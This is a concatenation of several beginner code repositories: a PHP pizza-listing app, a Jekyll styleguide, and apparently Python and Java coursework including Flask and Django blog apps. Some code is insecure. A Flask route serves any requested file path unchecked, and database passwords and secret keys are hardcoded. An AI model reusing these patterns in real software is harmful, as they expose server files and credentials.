enim. Vestibulum vestibulum leo massa, et tristique arcu vehicula quis. Fusce hendrerit molestie massa vitae efficitur. Nunc vestibulum est ut ipsum pulvinar, a euismod nisi venenatis. Quisque justo sem, commodo eget placerat nec, venenatis at turpis. Integer facilisis accumsan pulvinar. Nulla in lorem mi. Cras sit amet suscipit nulla. Sed lacus sem, vestibulum sit amet hendrerit eu, ullamcorper sed ante. Phasellus sit amet orci quam. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; In in lectus molestie, vehicula risus a, luctus orci. Phasellus bibendum vehicula velit, sit amet sodales mi malesuada laoreet. Donec euismod varius quam, nec dignissim mauris blandit eget. Curabitur molestie mi vel sem egestas, ac efficitur augue porta. Duis id neque efficitur, varius lorem et, fermentum urna. Phasellus luctus sit amet ligula at vestibulum. Aliquam erat volutpat. Quisque congue viverra mi, vitae aliquet metus ultricies nec. Zeke "Who says Latin is a dead language?" B This is my new edit. The line above is from my first PR. :) Here is some latin flavor: "Sic transit gloria" - <NAME> <file_sep>/_pages/styleguide.md --- layout: page title: Styleguide permalink: /styleguide/ --- <img src="/assets/images/map-corps.png" class="img-fluid img-transparent-png" /> ## COLORS <div class="container-fluid"> <div class="row"> <div class="col-md-4" style="background: #FF0000;"><p><br><br><br>#FF0000<br>RED</p></div> <div class="col-md-4" style="background: #00FF00;"><p><br><br><br>#00FF00<br>GREEN</p></div> <div class="col-md-4" style="background: #0000FF; color: #EEEEEE;"><p><br><br><br>#0000FF<br>BLUE</p></div> </div> <div class="row"> <div class="col-md-4" style="background: #111111; color: #EEEEEE;"><p><br><br><br>#111111<br>"BLACK"</p></div> <div class="col-md-4" style="background: #CCCCCC;"><p><br><br><br>#CCCCCC<br>GREY</p></div> <div class="col-md-4" style="background: #EEEEEE;"><p><br><br><br>#EEEEEE<br>"WHITE"</p></div> </div> </div> ## TYPOGRAPHY - Headings: [https://fonts.google.com/specimen/Michroma](https://fonts.google.com/specimen/Michroma) - Body: [Monospace System Font Stack](https://www.digitalocean.com/community/tutorials/css-system-font-stack)
71625d1cd9ca834fe5110017646c1d72293fb0c3
[ "Markdown", "JavaScript" ]
26
Markdown
zeke-b/mapcorps.net
02d12a8ac45ff3973594186f3e57eb4acd5eb4b5
9981128d951aa6118895e2656cd2626766607f6e
refs/heads/master
<repo_name>ekyeremeh7/ninja_pizza<file_sep>/config/db_connect.php <?php //connect to database $conn=mysqli_connect('localhost','cheremeh','test1234','ninja_pizza'); //check to c if connction is working if(!$conn){ echo 'Connection Error: '. mysqli_connect_error(); } ?><file_sep>/index.php <?php //MYSQLi or PDO //connection to the database include('config/db_connect.php'); //retrieving data from the database $sql ='SELECT title,ingredients,id FROM pizzas ORDER BY created_at'; //make query and return results $result=mysqli_query($conn,$sql); //fetch the resulting rows as an array $pizzas=mysqli_fetch_all($result,MYSQLI_ASSOC); //free result from memory mysqli_free_result($result); //close connection to the database mysqli_close($conn); //print_r($pizzas); //explode(',',$pizzas[0]['ingredients']); //print_r(explode(',',$pizzas[0]['ingredients'])); ?> <!DOCTYPE html> <html> <?php include('templates/header.php') ?> <h4 class="center grey-text">Pizzas!</h4> <div class="container"> <div class="row"> <?php foreach ($pizzas as $pizza):?> <div class="col s6 md3"> <div class="card z-depth-0"> <img src="img/pizza.svg " class="pizza"> <div class="card-content center"> <h6><?php echo htmlspecialchars($pizza['title']); ?></h6> <ul> <?php foreach (explode(',',$pizza['ingredients']) as $ing): ?> <li><?php echo htmlspecialchars($ing); ?></li> <?php endforeach;?> </ul> </div> <div class="card-action right-align"> <a class="brand-text" href="details.php?id=<?php echo $pizza['id'] ?>">More Info</a> </div> </div> </div> <?php endforeach; ?> <!-- <?php if(count($pizzas) >=3 ):?> <p> There are 3 or more pizzas</p> <?php else: ?> <p>There are less than 3 pizzas</p> <?php endif; ?> --> </div> </div> <?php include('templates/footer.php') ?> </html>
c993333b6e3e27a9c53bc5af5233e2af2bb2b752
[ "PHP" ]
2
PHP
ekyeremeh7/ninja_pizza
85e809958a67398d16541c27ed5de40ec4329f10
ee5ce1b99a9191017245ab2c1bf1f6584a15ef92
refs/heads/master
<repo_name>GustavoGarciaAlencarSantos/Treinamento<file_sep>/src/exerc3/Caneca.java package exerc3; /** * classe para que herda Produto * * @author galencar * @since 11/02/2020 * @version 0.2 */ public class Caneca extends Produto { String material, medida; boolean estampa = false; // valida os dados é exibe public void exibirCaneca() { exibirTudo(); if (estampa) { System.out.println("tem Estampa"); } else { System.out.println("Nao tem estampa"); } if (material != null) { System.out.println("o material da caneca é " + material); } else { System.out.println("nao tem materia informado"); } if (medida != null) { System.out.println("a medida é " + medida); } else { System.out.println("não tem medida"); } } } <file_sep>/src/separaData/Repeticao.java package separaData; import javax.swing.JOptionPane; public class Repeticao { boolean exit = false; public Repeticao() { // while (!exit) { // processar(); // testaWhile(); testaDoWhile(); } //} public void testaWhile() { int i = 10; while(i<10) { System.out.println(i + "ao cubo é" + (i*i)*i); i++; } } public void testaDoWhile() { int i = 10; do{ System.out.println(i + "ao cubo é" + (i*i)*i); i++; }while(i<10); } public void processar() { int opcao = Integer.parseInt(JOptionPane.showInputDialog("informe a opcao ")); switch (opcao) { case 1: JOptionPane.showInputDialog("sua opcao foi 1"); break; case 2: JOptionPane.showInputDialog("sua opcao foi 2 "); break; case 3: JOptionPane.showInputDialog("sua opcao foi 3 "); break; case 9: exit = true; break; default: JOptionPane.showInputDialog("sua opcao foi invalida "); break; } } public static void main(String[] args) { new Repeticao(); } } <file_sep>/src/exerc3/Produto.java package exerc3; /** * classe produto contem todos os atributos de um produto * * @author galencar * @since 11/02/2020 * @version 0.1 */ public class Produto { String nome; int quantidade; double custo; int quantidadeVendido; double percentualDeLucro; double resultado; // exibe o nome public void exibirNome() { if (nome != null) { System.out.println("o nome do produto é " + nome); } else { System.out.println("nome nao foi informado"); } } // exibi o lucro public void exibirLucro() { if (percentualDeLucro >= 0) { System.out.println("o percentual de lucro é " + porcentualLucro()); } else { System.out.println("Lucro menor Que 0"); } } public double porcentualLucro() { if (percentualDeLucro >= 0) { resultado = (percentualDeLucro / 100) * custo; } return resultado; } // exibe valor public void exibirValor() { if (custo > 0) { System.out.println("o valor é " + (custo + porcentualLucro())); } else { System.out.println("voce digitou 0 no custo"); } } // exibe tudo public void exibirTudo() { exibirNome(); exibirValor(); exibirLucro(); } } <file_sep>/src/exerc6/Aluno.java package exerc6; import java.util.Calendar; /** * clase que tem tudo de um aluno e calcula ano e dias de vida * @author galencar *@since */ public class Aluno { String nome, curso, cidade; int anoNascimento; int idade; String dataNascimento; // calcula anos de vida public int calcularano() { String data = (new java.text.SimpleDateFormat("yyyyMMdd") .format(new java.util.Date(System.currentTimeMillis()))); String datas[] = dataNascimento.split("/"); String dataNasc = datas[2] + datas[1] + datas[0]; int anoNasci = Integer.parseInt(dataNasc); int anoat = Integer.parseInt(data); int resultado; resultado = anoat - anoNasci; resultado = (resultado % 1000000 / 10000); return resultado; } // metodo que calcula dias de vida public int calculaTempoVida() { String ano = (new java.text.SimpleDateFormat("yyyy").format(new java.util.Date(System.currentTimeMillis()))); String Mes = (new java.text.SimpleDateFormat("MM").format(new java.util.Date(System.currentTimeMillis()))); String dias = (new java.text.SimpleDateFormat("dd").format(new java.util.Date(System.currentTimeMillis()))); int anoI = Integer.parseInt(ano); int mesI = Integer.parseInt(Mes); int diasI = Integer.parseInt(dias); String datas[] = dataNascimento.split("/"); int anoA = Integer.parseInt(datas[2]); int mesA = Integer.parseInt(datas[1]); int diasA = Integer.parseInt(datas[0]); int totaldias = ((anoI * 365) + (mesI * 30) + diasI) - ((anoA * 365) + (mesA * 30) + diasA); return totaldias; } //metodo que faz anos de vida errado public int calcularERetornarIdade() { idade = (Calendar.getInstance().get(Calendar.YEAR)) - anoNascimento; return idade; } //metodo que exibe tudo public void mostrarTudo() { calcularERetornarIdade(); System.out.println("seu nome é " + nome); System.out.println("seu curso é " + curso); System.out.println("sua cidade é " + cidade); System.out.println("sua idade é " + calcularERetornarIdade()); System.out.println("sua idade certa é " + calcularano()); System.out.println("a quantidade de dias de vida é " + calculaTempoVida()); } //construtor public Aluno(String nome, String curso, String cidade, int anoNascimento, String dataNascimento) { this.dataNascimento = dataNascimento; this.nome = nome; this.curso = curso; this.cidade = cidade; this.anoNascimento = anoNascimento; mostrarTudo(); calcularano(); } } <file_sep>/src/exec2/Operacoes.java package exec2; /** * mostra as operaraçoes * @since 11/02/2020 * @author galencar @ version 0.1 * */ public class Operacoes { public static void main(String[] args) { // Exemplo adicao double adicao = 5 + 2; // Exemplo subtracao double subtracao = 5 - 2; // Exemplo multiplicacao double multiplicacao = 5 * 2; // Exemplo divisao double divisao = 10 / 2; // Exemplo modulo double modulo = 10 % 2; // mostra resultados System.out.println("5 + 2 = "+adicao); System.out.println("5 - 2 = " +subtracao); System.out.println("5 * 2 = "+multiplicacao); System.out.println("10 / 2 = "+divisao); System.out.println("10 % 2 = "+modulo); } } <file_sep>/src/exerc7/Vetor.java package exerc7; //import javax.swing.text.StyledEditorKit.ForegroundAction; public class Vetor { public static void main(String[] args) { int quantidade []= new int[4]; quantidade[0] = 10; quantidade[3] = 4; //System.out.println("o vetor é "+quantidade); for(int i = 0;i <=4 ; i ++) { System.out.println("o vetor é "+quantidade[i]); } } }
1ca8173ac36c252354843b4c04b947eed3a5d996
[ "Java" ]
6
Java
GustavoGarciaAlencarSantos/Treinamento
12386a5d668e7eec8a12274f98163002517f70f7
3aace06d25ef52f28fe822a33daa5ea37fdaaf87
refs/heads/master
<file_sep>def find_types(*args): """ Задача 5. Написать функцию, которая принимает любое количество аргументов, возвращает список типов принятых аргументов find_types(1, 's', []) -> [<class 'int'>, <class 'str'>, <class 'list'>] """ result = [] for item in args: result.append(type(item)) return result<file_sep>from django import forms class BlogPostForm(forms.Form): title = forms.CharField(max_length=140, min_length=4) text = forms.CharField( max_length=3500, min_length=10, widget=forms.Textarea ) <file_sep>""" Задача 1. Написать функцию, которая выбрасывает одно из трех исключений: ValueError, TypeError или RuntimeError случайным образом. В месте вызова функции обрабатывать все три исключения """ import random def raise_exception(): raise random.choice([ValueError, TypeError, RuntimeError]) try: raise_exception() except ValueError: print('ValueError') except TypeError: print('TypeError') except RuntimeError: print('RuntimeError')<file_sep>from flask import Flask, request from flask_wtf import FlaskForm from wtforms import StringField, validators from random import randint """ Задача: - написать веб сервер, который по адресу /random будет отдавать рандомное число - написать route по адресу /submit будет принимать POST запрос, в котором должны быть: 1. Паспортный номер: 10 цифр 2. Имя: Три слова 3. Дата рождения в формате: DD.MM.YYYY """ class ContactForm(FlaskForm): id_number = StringField(label='ID', validators=[ validators.Length(min=10, max=10) ]) name = StringField(label='Full Name', validators=[ validators.Regexp(r'(\w+ \w+ \w+)') ]) date_of_birth = StringField(label='Date of Birth', validators=[ validators.Regexp(r'(\d{2}.\d{2}.(19|20)\d{2})') ]) app = Flask(__name__) app.config.update( DEBUG=True, SECRET_KEY='This key must be secret!', WTF_CSRF_ENABLED=False, ) @app.route('/random') def random_number(): return str(randint(0, 100)) @app.route('/submit', methods=['GET', 'POST']) def home(): if request.method == 'POST': print(request.form) form = ContactForm(request.form) print(form.validate()) return ('valid', 200) if form.validate() else ('invalid', 400) return 'hello world!', 200 if __name__ == '__main__': app.run() <file_sep>""" Для вопросов создаю список со списками. В каждом по два элемента: строка с вопросом и кортеж со строковыми верными вариантами ответа. """ questions = [['С какой версией Python мы будем работать?', ('3', '3.0', '3.4', '3.5', '3.6')], ['Как называется тип переменных, содержащих целые числа?', ('int', 'int()', 'integer')], ['Что будет выведено на экран после выполнения команды "print("abc" * 3)"?', ('abcabcabc',)], ['Что будет выведено на экран после выполнения команды "print(True + False)"?', ('1',)], ['С помощью какой функции можно узнать тип переменной в Python?', ('type', 'type()')], ['Как называется стандарт кодирования символов, используемый в Python?', ('unicode',)], ['Как называется специальный тип данных, обозначающий отсутствие значения?', ('nonetype', 'none')], ['С помощью какой команды можно досрочно прекратить выполнение цикла?', ('break',)], ['Какая функция возвращает длину строки, списка или множества?', ('len()', 'len')], ['Как в Python называется цикл с предусловием?', ('while',)]] score = 0 # для подсчета верных ответов for i in range(1,11): # i примет значения от 1 до 10 для удобства нумерования вопросов при выводе. answer = input('Вопрос {}.\n{}\n'.format(i, questions[i-1][0])) # Выводим номер вопроса, вопрос и перенос строки. if answer.lower() in questions[i-1][1]: print('Верно!') score += 1 else: print('Увы, ответ неправильный.') print('***') # Просто для красоты print('\nВикторина окончена. Правильных ответов: {}.'.format(score))<file_sep>import collections import random """ 1. Написать списковые выражения, которые: создают список из строк всех нечетных чисел от 1 до 100 """ problem_1_1 = [str(i) for i in range(1, 101, 2)] """ создают список из объектов другого списка, кроме итерируемых """ other_list = [123, 'abc', [1, 3, 7], True, {1: 'a', 2: 'b'}, {1, 2, 3}, 2.345] problem_1_2 = [i for i in other_list if isinstance(i, collections.Iterable)] """ создают список из фразы 'The quick brown fox jumps over the lazy dog', где каждый объект списка - кортеж из: слова в верхнем регистре, слова в случанйном регистре (qUIcK) и длины слова """ sentence = 'The quick brown fox jumps over the lazy dog' problem_1_3 = [(word.upper(), ''.join(random.choice([letter.upper(), letter.lower()]) for letter in word), len(word)) for word in sentence.split(sep=' ')] """ 2. Написать класс IntToStr, у которого есть одно поле: value. А тип поля - число. Его задачей должно быть реализация возможности сложения чисел и строк. Примеры: obj = IntToStr(9.2) print(obj + 3) # 12.2 print('a' + obj) # a9.2 print(obj + 'z') # 9.2z """ class IntToStr(object): def __init__(self, value): self.value = value def __add__(self, some_var): """ some_var: int, float, str Добавляет возможность складывать IntToStr со строкой """ if isinstance(some_var, str): return str(self.value) + some_var return self.value + some_var def __radd__(self, some_var): """ some_var: int, float, str Добавляет возможность складывать строку с IntToStr """ if isinstance(some_var, str): return some_var + str(self.value) return some_var + self.value """ 3. Написать класс Stack, у которого есть два метода push(value) и pop(). Если мы пытаемся сделать pop из пустого стека, нужно выбрасывать исключение IndexError. """ class Stack(object): def __init__(self): self.stack = [] def push(self, value): """ value: любой объект Добавляет в стек value, выводит сообщение """ self.stack.append(value) print('Item "{}" added.'.format(value)) def pop(self): """ Удаляет крайний элемент стека, выводит сообщение Если стек пустой, рождает исключение IndexError """ print('Item "{}" removed.'.format(self.stack.pop())) if __name__ == '__main__': print('Problem 1:\n{}\n{}\n{}\n'.format( problem_1_1, problem_1_2, problem_1_3)) print('\nProblem 2:') a = IntToStr(12.234) print('IntToStr + 25.34 =', a + 25.34) print('25 + IntToStr =', 25 + a) print('"abc" + IntToStr =', 'abc' + a) print('IntToStr + "abc" =', a + 'abc') print('\nProblem 3:') try: stack = Stack() stack.push('abc') stack.push([12, 15, 18]) stack.pop() stack.pop() stack.pop() except IndexError: print('Error, stack is empty.') <file_sep>{% extends '_base_template.html' %} {% block home %} <div class="form"> <form action="{% url 'home' %}" method="post"> {% csrf_token %} <h3>Add new post:</h3> {{ form.as_p }} <input type="submit" value="Submit" /> </form><br> </div> <div class="posts"> {% for item in items %} <div class="post"> <h3 class="post-title"> {{ item.title }} </h3> <h4>{{ item.author }}</h4> <h5>{{ item.time_stamp }}</h5> <div class="post-text"> {{ item.text }} </div> <br> </div> {% endfor %} </div> {% endblock %}<file_sep>from django.db import models from django.utils import timezone class BlogPostModel(models.Model): title = models.CharField(max_length=50) date = models.DateTimeField(default=timezone.now) text = models.TextField() author = models.CharField(default='Fancy Blogger', max_length=30) class CommentModel(models.Model): date = models.DateTimeField(default=timezone.now) text = models.TextField(max_length=350) name = models.CharField(default='Anonymous', max_length=30) post = models.ForeignKey('BlogPostModel', related_name='comments') <file_sep>from django.apps import AppConfig class Blog16Config(AppConfig): name = 'blog16' <file_sep>def print_array(lst): """ Задача 6. Написать функцию, которая принимает на вход список списков (матрицу) и выводит ее в виде матрицы (один ряд на одной строке) в консоль """ for row in lst: print(row)<file_sep>import math """ Задача: написать класс, который выводит сумму купленных продуктов Продукты (у каждого есть цена): - на вес - за штуку - за объем 2: напечать размерность при вычислении 300$ за 4000кг 20$ за 2штуки 10$ за 1литр 3: делать скидку на продукты (5%) при покупке более 2 товараов одного вида поштучно 4: при покупке за граммы округлять до 50г """ class Product(object): def __init__(self, label, price, amount, measure): """ Атрибуты каждого товара: название (str), цена(float), приобретённое количествово (float) и мера (str) товара. """ self.label = label self.price = price self.amount = amount self.measure = measure def get_cost(self): """ Возвращает стоимость продукта, округляя до копеек. """ return round(self.price * self.amount, 2) def __str__(self): """ Возвращает строку товара в чеке. """ return '{} {} {} ..... {} руб.'.format( self.label, self.amount, self.measure, self.get_cost()) class SoldByItems(Product): def get_cost(self): """ Возвращает стоимость поштучных товаров, применяет скидку, если кол-во > 2. """ if self.amount > 2: return round(super().get_cost() * .95, 2) return super().get_cost() class SoldByWeight(Product): def __init__(self, label, price, amount, measure): """ Округляет кол-во весового продукта до кратности 0,05 """ Product.__init__(self, label, price, amount, measure) self.amount = math.ceil((amount - 0.024) * 20) / 20 # math.ceil(x * 20) / 20 возвращает число x, округленное вверх # до кратности 0,05. Поправка на -0.024 нужна, чтобы округление # стало математическим: 0.124 -> 0.1, 0.125 -> 0.15 class CashDeck(object): def get_total_cost(self, basket): """ basket: список с элементами класса Product Возвращает стоимость товаров в корзине. """ total_cost = 0 for item in basket: total_cost += item.get_cost() return round(total_cost, 2) def print_invoice(self, basket): """ Печатает список товаров из basket и их общую стоимость """ print('Список покупок:') for item in basket: print(item) print('Итого: {} руб.'.format(self.get_total_cost(basket))) basket = [SoldByWeight('Апельсины', 85.15, 3.226, 'кг'), SoldByWeight('Помидоры', 105.90, 0.675, 'кг'), SoldByWeight('Конфеты', 554.95, 0.324, 'кг'), SoldByItems('Тетрадь', 15.30, 5, 'шт.'), SoldByItems('Шоколад', 69.99, 1, 'шт.'), Product('Молоко', 85.30, 1.5, 'л'), Product('Растительное масло', 127.50, 0.5, 'л')] cash_deck_25 = CashDeck() if __name__ == '__main__': cash_deck_25.print_invoice(basket) <file_sep>from django import forms from .models import BlogPostModel, CommentModel class BlogPostForm(forms.ModelForm): class Meta: model = BlogPostModel fields = ('author', 'title', 'text',) class CommentForm(forms.ModelForm): class Meta: model = CommentModel fields = ('name', 'text',) def save(self, commit=True, post=None): # Скопировано из пицца-проекта :) inst = super().save(commit=False) inst.post = post if commit: inst.save() return inst <file_sep>def exp(): """ Задача 1. Написать функцию, которая спрашивает пользователя число и степень числа, возвращает число в степени. """ a = float(input('Введите число, которое нужно возвести в степень.\n')) b = float(input('Введите степень.\n')) return a**b<file_sep>dj-database-url==0.4.2 Django==1.10.6 django-debug-toolbar==1.7 gunicorn==19.7.1 psycopg2==2.7.1 whitenoise==3.3.0 <file_sep>from django.shortcuts import render, HttpResponse, get_object_or_404, redirect from django.core.urlresolvers import reverse from django.db.models import Count, Avg, FloatField, F from .models import BlogPostModel, CommentModel from .forms import BlogPostForm, CommentForm def index(request): # На главной странице посты упорядочены по дате, # от новых к старым. if request.method == 'GET': posts = BlogPostModel.objects.all().order_by('-date') return render(request, 'blog17/index.html', {'posts': posts}) return HttpResponse(status=405) def post_view(request, post_id): # Страница просмотра поста, тут же форма для комментариев # и сами комментарии. post = get_object_or_404(BlogPostModel, pk=post_id) comments = CommentModel.objects.filter(post=post) comment_form = CommentForm() c = { 'post': post, 'comments': comments, 'comment_form': comment_form, } if request.method == 'POST': comment_form = CommentForm(request.POST) # Если форма валидна, сохраняем комментарий, # а юзеру показываем ту же страницу с новым комментарием. if comment_form.is_valid(): comment_form.save(post=post) return render(request, 'blog17/post.html', c) elif request.method == 'GET': return render(request, 'blog17/post.html', c) return HttpResponse(status=405) def new_post(request): # Тут просто формочка для нового поста. if request.method == 'GET': form = BlogPostForm() return render(request, 'blog17/new_post.html', {'form': form}) elif request.method == 'POST': form = BlogPostForm(request.POST) if form.is_valid(): # В случае получения валидного поста, перенаправляем юзера # на страницу нового поста. post = form.save(BlogPostModel) return redirect('post', post.pk) else: return render(request, 'blog17/new_post.html', {'form': form}) return HttpResponse(status=405) def stats(request): if request.method == 'GET': # Задание: показать среднее количество комментариев на пост. comm_per_post = BlogPostModel.objects.annotate( num_comments=Count('comments')).aggregate(Avg('num_comments')) # А второе задение, получить кол-во постов в каждом месяце, # одним выражение сделать не получается. # Нужен намек на правильное наравление :) return render(request, 'blog17/stats.html', { 'avg_comments': comm_per_post['num_comments__avg'] }) return HttpResponse(status=405) <file_sep>from django.apps import AppConfig class Blog17Config(AppConfig): name = 'blog17' <file_sep># -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-04-24 06:21 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog17', '0001_initial'), ] operations = [ migrations.RenameField( model_name='commentmodel', old_name='author', new_name='name', ), migrations.AlterField( model_name='blogpostmodel', name='title', field=models.CharField(max_length=50), ), ] <file_sep>from functools import reduce def multiplication2(num_list): """ Задача 4. Написать функцию, которая принимает список чисел и возвращает их произведение. """ return reduce(lambda x, y: x * y, num_list)<file_sep>""" Задача 5. Написать три функции: do_work, handle_success, handle_error. do_word(my_list, success_callback, error_callback) принимает на вход три аргумента: список, функцию для обработки успеха и функцию для обработки ошибки. Ее задача проверить, что все значения в списке идут по-возрастанию. Если все верно: вызываем success_callback, иначе: error_callback. Функция handle_success пишет в консоль информацию об успешном выполнении. Функция handle_error выбрасывает ValueError """ def do_work(my_list, success_callback, error_callback): if my_list == sorted(my_list): success_callback() else: error_callback() def handle_succes(): print('Успех!') def handle_error(): raise ValueError<file_sep>""" Реализовать класс Person, у которого должно быть два публичных поля: age и name. Также у него должен быть следующий набор методов: know(person), который позволяет добавить другого человека в список знакомых. И метод is_known(person), который возвращает знает ли знакомы ли два человека """ class Person(object): def __init__(self, name, age): self.age = age self.name = name self.known_people =[] def know(self, other_person): self.known_people.append(other_person) def is_known(self, other_person): return other_person in self.known_people jack = Person('Jack', 25) alice = Person('Alice', 24) print("Does {} ever met {}?".format(jack.name, alice.name),jack.is_known(alice)) jack.know(alice) print("Does {} ever met {}?".format(jack.name, alice.name),jack.is_known(alice)) """ Есть класс, который выводит информацию в консоль: `Printer`, у него есть метод: log(*values). Написать класс FormattedPrinter, который выводит в консоль информацию, окружая ее строками из * """ class Printer(object): def log(self, *values): return str(values) class FormattedPrinter(Printer): def log_with_stars(self, *values): # Если Printer.log(*values) возвращает строковое значение: print('***\n' + self.log(*values) + '\n***') a = Printer() b = FormattedPrinter() print() print(a.log(25, 'a', 34.2, [25, 34], True)) print() b.log_with_stars(25, 'a', 34.2, [25, 34], True) """ Написать класс Animal и Human, сделать так, чтобы некоторые животные были опасны для человека (хищники, ядовитые). Другие - нет. За что будет отвечать метод is_dangerous(animal) """ class Animal(object): # Задаю три атрибута как критерии опасности для человека: # size: оценочный размер, int, от 0 (крошечное) до 9 (огромное) # is_predator: принадлежность к хищникам, True или False # is_poisonous: ядовито ли животное для человека, True или False def __init__(self, kind, size, is_predator, is_poisonous = False): self.kind = kind self.size = size self.is_predator = is_predator self.is_poisonous = is_poisonous class Human(object): def __init__(self, name): self.name = name def is_dangerous(self, animal): # Грубо принимаю, что маленькие (size 0-3) хищники опасности не представляют, # ядовитые животные опасны при любом размере. if animal.is_predator and animal.size > 3: return True return animal.is_poisonous kate = Human('Kate') fluffy = Animal('Dog', size = 3, is_predator = True) balu = Animal('Bear', size = 7, is_predator = True) cute_spider = Animal('Poisonous Spider', size = 0, is_predator = True, is_poisonous = True) spirit = Animal('Horse', size = 6, is_predator = False) print() print('Is {} dangerous for {}?'.format(fluffy.kind, kate.name), kate.is_dangerous(fluffy)) print('Is {} dangerous for {}?'.format(balu.kind, kate.name), kate.is_dangerous(balu)) print('Is {} dangerous for {}?'.format(cute_spider.kind, kate.name), kate.is_dangerous(cute_spider)) print('Is {} dangerous for {}?'.format(spirit.kind, kate.name), kate.is_dangerous(spirit)) <file_sep>import re import requests """ 1. Прочитать теорию (ссылки в материалах) о работе с файлами в python. И реализовать две функции: write_to_file(data) и read_file_data(). Которые соотвественно: пишут данные в файл и читают данные из файла. """ def write_to_file(data): """ Добавляет в конец файла test.txt текст data. data: строка """ with open('test.txt', 'w') as test_file: test_file.write(data) test_file.close() def read_file_data(): """ Возвращает строковое содержимое файла test.txt """ with open('test.txt', 'r') as test_file: data = test_file.read() test_file.close() return data """ 2. Прочитать теорию о работе с json. Реализовать следующую логику: получать при помощи requests данные сайта https://jsonplaceholder.typicode.com/, выводить в консоль все пары "ключ-значение", сохранять полученный json в файл. """ def save_json_data(): """ Забирает JSON-контент со страницы 'https://jsonplaceholder.typicode.com/posts/' Выводит ключи и значения в консоль, записывает данные в файл с помощью функции из 1 задачи. """ data = requests.get('https://jsonplaceholder.typicode.com/posts/').json() for line in data: for k, v in line.items(): print(k, ':', v) write_to_file(str(data)) """ 3. Обратиться с странице https://habrahabr.ru/. Получить текст страницы. При помощи регулярных выражений нужно получить все ссылки со страницы на другие. """ def parse_links_from(url): """ Собирает все ссылки со страницы c заданным url, кроме ведущих на страницы на https://habrahabr.ru :return: список строк с url """ data = requests.get(url) pattern = r'<a href="(http\S*)[^(https://habrahabr.ru\)]"' links = re.findall(pattern, str(data.content)) return links if __name__ == '__main__': print('Задача 1:') write_to_file('Hello world!') print(read_file_data()) print('\nЗадача 2:') save_json_data() print('\nЗадача 3:') links = parse_links_from('https://habrahabr.ru/') print(links) <file_sep>from django.contrib import admin from .models import BlogPostModel, CommentModel admin.site.register(BlogPostModel) admin.site.register(CommentModel) <file_sep>from flask import Flask, request, jsonify from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, validators, ValidationError app = Flask(__name__) app.config.update( DEBUG=True, SECRET_KEY='Got a secret', WTF_CSRF_ENABLED=False, ) # 1. По адресу /locales должен возвращаться массив в формате json с тремя # локалями: ['ru', 'en', 'it'] @app.route('/locales') def locales(): return jsonify(['ru-RU', 'en-US', 'it-IT']) # 2. По адресу /sum/<int:first>/<int:second> должен получать в url-адресе # два числа, возвращать их сумму @app.route('/sum/<int:first>/<int:second>') def show_sum(first, second): return 'Sum is ' + str(first+second) # 3. По адресу /greet/<user_name> должен получать имя пользователя, # возвращать текст 'Hello, имя_которое_прислали' @app.route('/greet/<user_name>') def greet_user(user_name): return 'Hello, {}!'.format(user_name) # 4. По адресу /form/user должен принимать POST запрос с параментрами: # email, пароль и подтверждение пароля. Необходимо валидировать email, # что обязательно присутствует, валидировать пароли, что они минимум # 6 символов в длину и совпадают. Возрващать пользователю json вида: # "status" - 0 или 1 (если ошибка валидации), "errors" - список ошибок, # если они есть, или пустой список. class SignUpForm(FlaskForm): email = StringField(label='E-mail', validators=[ validators.Email() ]) password = PasswordField(label='Password', validators=[ validators.InputRequired() ]) password2 = PasswordField(label='Confirm Password', validators=[ validators.InputRequired() ]) def validate_password(form, field): if not form.password.data == form.password2.data: raise ValidationError('Passwords must match.') elif len(form.password.data) < 6: raise ValidationError('Password must be at least 6 characters ' 'long.') @app.route('/form/user', methods=['GET', 'POST']) def sign_up(): if request.method == 'POST': form = SignUpForm(request.form) return jsonify({ 'status': int(not form.validate()), 'errors': form.errors }) # 5. По адресу /serve/<path:filename> должен возвращать содержимое # запрашиваемого файла из папки ./files. Файлы можно туда положить любые # текстовые. А если такого нет - 404 @app.route('/serve/<path:filename>') def show_file(filename): try: with open(filename, 'r') as file: data = file.read() return data except FileNotFoundError: return 'File not found.', 404 if __name__ == '__main__': app.run() <file_sep>def join_lists(*lists): """ Задача 7. Написать функцию, которая принимает любое количество аргументов - списков, она должна возвращать список из всех объектов списков, но каждый объект должен быть уникальным. join_lists([1, 2], ['a', 2], ['c', 1]) -> [1, 2, 'a', 'c'] """ result = [] for lst in lists: for item in lst: if item not in result: result.append(item) return result def join_lists2(*lists): """ Другой вариант решения. """ result = [] for lst in lists: result.extend(lst) return list(set(result)) print(join_lists([], [''], [1], [12], [25, 43, 25], [1, 25, 34, 12, ''])) # 10000 loops, best of 3: 45.9 µs per loop print(join_lists2([], [''], [1], [12], [25, 43, 25], [1, 25, 34, 12, ''])) # 10000 loops, best of 3: 37.8 µs per loop <file_sep>{% extends 'blog17/_base.html' %} {% block title %}Fancy Statistics{% endblock %} {% block content %} <div class="container"> <h2 class="title">Statistics</h2> <h4>Average comments per post: {{ avg_comments }}</h4> </div> {% endblock %} <file_sep>{% extends 'blog17/_base.html' %} {% block title %}New Fancy Post{% endblock %} {% block content %} <h2 class="title">Add new post</h2> <form action="{% url 'new_post' %}" method="POST"> {% csrf_token %} {{ form.as_p }} <input class="btn" type="submit" value="Submit" /> </form> {% endblock %}<file_sep>def compare_dicts(dict_a, dict_b): """ Задача 4. Написать функцию, которая принимает два словаря, сравнивает их ключи, выдает в консоль сколько у них общих ключей. """ common_keys = 0 for key_a in dict_a: for key_b in dict_b: if key_a == key_b: common_keys += 1 print('Общих ключей: ', common_keys) # Альтернативный короткий вариант решения 4 задачи: def compare_dicts2(dict_a, dict_b): print('Общих ключей: ', len(dict_a.keys() & dict_b.keys())) <file_sep>from django.shortcuts import render from .models import Storage, BlogPostModel from .forms import BlogPostForm import logging logger = logging.getLogger(__name__) def home(request): storage = Storage() all_items = storage.items if request.method == 'POST': form = BlogPostForm(request.POST) if form.is_valid(): model = BlogPostModel(form.cleaned_data) all_items.append(model) else: logger.error('Someone have submitted an incorrect form!') else: form = BlogPostForm() return render(request, 'home.html', { 'form': form, 'items': all_items }) <file_sep>def make_str_keys(dictionary): """ Задача 3. Написать функцию, которая принимает словарь, преобразует все ключи словаря к строкам и возвращает новый словарь. """ return dict(zip([str(x) for x in dictionary.keys()], [dictionary[x] for x in dictionary])) print(make_str_keys({1: 2, 3: 4, 5: 6})) 